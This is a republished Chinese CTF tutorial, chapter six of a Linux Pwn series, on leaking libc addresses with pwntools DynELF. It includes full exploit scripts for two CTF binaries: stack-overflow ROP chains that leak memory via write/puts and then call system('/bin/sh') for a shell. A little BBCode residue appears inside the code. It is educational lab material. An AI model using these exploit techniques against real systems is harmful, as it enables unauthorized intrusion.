CTF必備技能丨Linux Pwn入門教程——利用漏洞獲取libc


Linux Pwn入門教程系列分享如約而至,本套課程是作者依據i春秋Pwn入門課程中的技術分類,並結合近幾年賽事中出現的題目和文章整理出一份相對完整的Linux Pwn教程。

教程僅針對i386/amd64下的Linux Pwn常見的Pwn手法,如棧,堆,整數溢出,格式化字符串,條件競爭等進行介紹,所有環境都會封裝在Docker鏡像當中,並提供調試用的教學程序,來自歷年賽事的原題和帶有注釋的python腳本。

課程回顧>>

Linux Pwn入門教程第一章:環境配置

Linux Pwn入門教程第二章:棧溢出基礎

Linux Pwn入門教程第三章:ShellCode

Linux Pwn入門教程第四章:ROP技術(上)

Linux Pwn入門教程第四章:ROP技術(下)

Linux Pwn入門教程第五章:調整棧幀的技巧

今天i春秋與大家分享的是Linux Pwn入門教程第六章:利用漏洞獲取libc,閱讀用時約12分鍾。

 

DynELF簡介

在前面幾篇文章中,為了降低難度,很多通過調用庫函數system的題目我們實際上都故意留了后門或者提供了目標系統的libc版本。不同版本的libc,函數首地址相對於文件開頭的偏移和函數間的偏移不一定一致。所以如果題目不提供libc,通過泄露任意一個庫函數地址計算出system函數地址的方法就不好使了。這就要求我們想辦法獲取目標系統的libc。

關於遠程獲取libc,pwntools在早期版本就提供了一個解決方案——DynELF類。

DynELFl的官方文檔:

http://docs.pwntools.com/en/stable/dynelf.html

其具體的原理可以參閱文檔和源碼,DynELF通過程序漏洞泄露出任意地址內容,結合ELF文件的結構特征獲取對應版本文件並計算比對出目標符號在內存中的地址。DynELF類的使用方法如下:

io = remote(ip, port)
 
def leak(addr):
 payload2leak_addr = “****” + pack(addr) + “****”
 io.send(payload2leak_addr)
 data = io.recv()
 return data
 
d = DynELF(leak, pointer = pointer_into_ELF_file, elf = ELFObject)
system_addr = d.lookup(“system”, libc)

使用DynELF時,我們需要使用一個leak函數作為必選參數,指向ELF文件的指針或者使用ELF類加載的目標文件至少提供一個作為可選參數,以初始化一個DynELF類的實例d。然后就可以通過這個實例d的方法lookup來搜尋libc庫函數了。

其中,leak函數需要使用目標程序本身的漏洞泄露出由DynELF類傳入的int型參數addr對應的內存地址中的數據。且由於DynELF會多次調用leak函數,這個函數必須能任意次使用,即不能泄露幾個地址之后就導致程序崩潰。由於需要泄露數據,payload中必然包含着打印函數,如write, puts, printf等,我們根據這些函數的特點將其分成兩部分分別進行講解。

DynELF的使用——write函數

我們先來看比較簡單的write函數。write函數的特點在於其輸出完全由其參數size決定,只要目標地址可讀,size填多少就輸出多少,不會受到諸如‘\0’, ‘\n’之類的字符影響。因此leak函數中對數據的讀取和處理較為簡單。

我們開始分析例子~/PlaidCTF 2013 ropasaurusrex/ropasaurusrex,這個32位程序的結構非常簡單,一個有棧溢出的read,一個write。沒有libc,got表里沒有system,也沒有int 80h/syscall。

 

這種情況下我們就可以使用DynELF來leaklibc,進而獲取system函數在內存中的地址。

首先我們來構建一個可以泄露任意地址的ROP鏈。通過測試我們可以知道棧溢出到EIP需要140個字節,因此我們可以構造一個payload如下:

elf = ELF(‘./ropasaurusrex’) #別忘了在腳本所在目錄下放一個程序文件ropasaurusrex
 
write_addr = elf.symbols['write']
 
payload = “A”*140
payload += p32(write_addr)
payload += p32(0)
payload += p32(1)
payload += p32(0x08048000)
payload += p32(8)

使用payload打印出ELF文件在內存中的首地址0x08048000,write( )運行結束后返回的地址隨便填寫,編寫腳本后發現可以正確輸出結果:

 

現在我們需要讓這個payload可以被重復使用。首先我們需要改掉write函數返回的地址,以免執行完write之后程序崩潰。那么改成什么好呢?繼續改成write是不行的,因為參數顯然沒辦法繼續傳遞。如果使用pop清除棧又會導致棧頂下降,多執行幾次就會耗盡棧空間。這里我們可以把返回地址改成start段的地址:

 

這段代碼是編譯器添加的,用於初始化程序的運行環境后,執行完相應的代碼后會跳轉到程序的入口函數main運行程序代碼。因此,在執行完write函數泄露數據后,我們可以返回到這里刷新一遍程序的環境,相當於是重新執行了一遍程序。現在的payload封裝成leak函數如下:

def leak(addr):
 payload = ''
 payload += 'A'*140 #padding
 payload += p32(write_addr) #調用write
 payload += p32(start_addr) #write返回到start
 payload += p32(1) #write第一個參數fd
 payload += p32(addr) #write第二個參數buf
 payload += p32(8) #write第三個參數size
 io.sendline(payload)
 content = io.recv()[:8]
 print("%#x -> %s" %(addr, (content or '').encode('hex')))
 return content

我們加了一行print輸出leak執行的狀態,用於debug。使用DynELF泄露system函數地址,顯示如下:

 

我們可以利用這個DynELF類的實例泄露read函數的真正內存地址,用於讀取“/bin/sh”字符串到內存中,以便於執行system(“/bin/sh”)。最終腳本如下:

#!/usr/bin/python
#coding:utf-8[/size][/align][align=left][size=3]
from pwn import *
 
io = remote('172.17.0.2', 10001)[/size][/align][align=left][size=3]
elf = ELF('./ropasaurusrex')
 
start_addr = 0x08048340
write_addr = elf.symbols['write']
binsh_addr = 0x08049000
 
def leak(addr):
 payload = ''
 payload += 'A'*140 #padding
 payload += p32(write_addr) #調用write
 payload += p32(start_addr) #write返回到start
 payload += p32(1) #write第一個參數fd
 payload += p32(addr) #write第二個參數buf
 payload += p32(8) #write第三個參數size
 io.sendline(payload)
 content = io.recv()[:8]
 print("%#x -> %s" %(addr, (content or '').encode('hex')))
 return content
 
d = DynELF(leak, elf = elf)
system_addr = d.lookup('system', 'libc')
read_addr = d.lookup('read', 'libc')
 
log.info("system_addr = %#x", system_addr)
log.info("read_addr = %#x", read_addr)
 
payload = ''
payload += 'A'*140 #padding
payload += p32(read_addr) #調用read
payload += p32(system_addr) #read返回到system
payload += p32(0) #read第一個參數fd/system返回地址,無意義
payload += p32(binsh_addr) #read第二個參數buf/system第一個參數
payload += p32(8) #read第三個參數size
 
io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()

 

DynELF的使用——其他輸出函數

除了“好說話”的write函數之外,一些專門由於處理字符串輸出的函數也經常出現在各類CTF pwn題目中,比如printf, puts等。這類函數的特點是會被特殊字符影響,因此存在輸出長度不固定的問題。我們看一下例子~/LCTF 2016-pwn100/pwn100,其漏洞出現在sub_40068E( )中。

 

很明顯的棧溢出漏洞。

這個程序比較麻煩的一點在於它是個64位程序,且找不到可以修改rdx的gadget,因此在這里我們就可以用到之前的文章中提到的萬能gadgets進行函數調用。

首先我們來構造一個leak函數。通過對代碼的分析我們發現程序中可以用來泄露信息的函數只有一個puts,已知棧溢出到rip需要72個字節,我們很快就可以寫出一個嘗試泄露的腳本:

from pwn import *
 
io = remote("172.17.0.3", 10001)
elf = ELF("./pwn100")
 
puts_addr = elf.plt['puts']
pop_rdi = 0x400763
 
payload = "A" *72
payload += p64(pop_rdi)
payload += p64(0x400000)
payload += p64(puts_addr)
payload = payload.ljust(200, "B")
io.send(payload)
print io.recv()

結果如下:

 

由於實際上棧溢出漏洞需要執行完puts(“bye~”)之后才會被觸發,輸出對應地址的數據,因此我們需要去掉前面的字符,所以可以寫leak函數如下:

start_addr = 0x400550
pop_rdi = 0x400763
puts_addr = elf.plt['puts']
 
def leak(addr):
 payload = "A" *72
 payload += p64(pop_rdi)
 payload += p64(addr)
 payload += p64(puts_addr)
 payload += p64(start_addr)
 payload = payload.ljust(200, "B")
 io.send(payload)
 content = io.recv()[5:]
 log.info("%#x => %s" % (addr, (content or '').encode('hex')))
 return content

我們將其擴展成一個腳本並執行,卻發現leak出錯了。

 

通過查看輸出的leak結果我們可以發現有大量的地址輸出處理之后都是0x0a,即一個回車符。從Traceback上看,最根本原因是讀取數據錯誤。這是因為puts( )的輸出是不受控的,作為一個字符串輸出函數,它默認把字符'\x00'作為字符串結尾,從而截斷了輸出。因此,我們可以根據上述博文修改leak函數:

def leak(addr):
 count = 0
 up = ''
 content = ''
 payload = 'A'*72 #padding
 payload += p64(pop_rdi) #給puts()賦值
 payload += p64(addr) #leak函數的參數addr
 payload += p64(puts_addr) #調用puts()函數
 payload += p64(start_addr) #跳轉到start,恢復棧
 payload = payload.ljust(200, 'B') #padding
 io.send(payload)
 io.recvuntil("bye~\n")
 while True: #無限循環讀取,防止recv()讀取輸出不全
 c = io.recv(numb=1, timeout=0.1) #每次讀取一個字節,設置超時時間確保沒有遺漏
 count += 1 
 if up == '\n' and c == "": #上一個字符是回車且讀不到其他字符,說明讀完了
 content = content[:-1]+'\x00' #最后一個字符置為\x00
 break
 else:
 content += c #拼接輸出
 up = c #保存最后一個字符
 content = content[:4] #截取輸出的一段作為返回值,提供給DynELF處理
 log.info("%#x => %s" % (addr, (content or '').encode('hex')))
 return content

腳本全部內容位於~/LCTF2016-pwn100/exp.py,此處不再贅述。

其他獲取libc的方法

雖然DynELF是一個dump利器,但是有時候我們也會碰到一些令人尷尬的意外情況,比如寫不出來leak函數,下libc被牆等等。這一節我們來介紹一些可行的解決方案。

首先要介紹的是libcdb.com,這是一個用來在線查詢libc版本的網站。

從它的界面我們可以看出來,這個網站的使用相當簡單,只需要我們泄露出兩個函數的內存地址。只要程序存在可以用來泄露內存的漏洞。不過尷尬的是libcdb.com里好像搜不到我們用的Ubuntu.17.04里面的libc,所以在這里就不做演示了。

第二個推薦的方法是在比賽中使用其他題目的libc。如果一個題目無法獲取到libc,通常可以嘗試一下使用其他題目獲取到的libc做題,有時候可能所有同平台的題目都部署在同一個版本的系統中。

以上是今天的內容,大家看懂了嗎?后面我們將持續更新Linux Pwn入門教程的相關章節,希望大家及時關注。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM